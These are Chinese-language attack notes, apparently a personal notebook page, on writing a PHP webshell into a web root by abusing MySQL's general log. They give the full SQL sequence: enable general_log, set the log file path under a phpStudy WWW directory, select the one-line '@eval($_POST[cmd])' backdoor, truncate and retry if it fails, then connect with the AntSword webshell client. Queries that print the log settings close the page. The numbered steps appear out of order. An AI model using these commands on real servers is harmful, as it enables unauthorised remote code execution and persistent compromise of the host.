利用MySQL一般日志写入木马:
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/php.log';
select '<?php @eval($_POST["cmd"]); ?>';
#日志 #MySQL
注意,由于日志文件内容太多,导致木马无法执行,这里清空日志,然后重新设置一个日志路径:

TRUNCATE TABLE mysql.general_log;
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/mysql1.log';
SELECT '<?php @eval($_POST[cmd]) ?>';

使用蚁剑连接
#日志
2. 开启日志功能,并设置日志文件的路径

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/mysql.log';
SELECT CONCAT('general_log: ', (SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'general_log'),
', general_log_file: ', (SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'general_log_file')) AS log_settings;

#日志
1. 打印当前日志功能情况

SELECT
CONCAT(
'general_log: ', (SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'general_log'),
', log_output: ', (SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'log_output'),
', general_log_file: ', (SELECT VARIABLE_VALUE FROM information_schema.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'general_log_file')
) AS log_settings;

#日志
 
 
Back to Top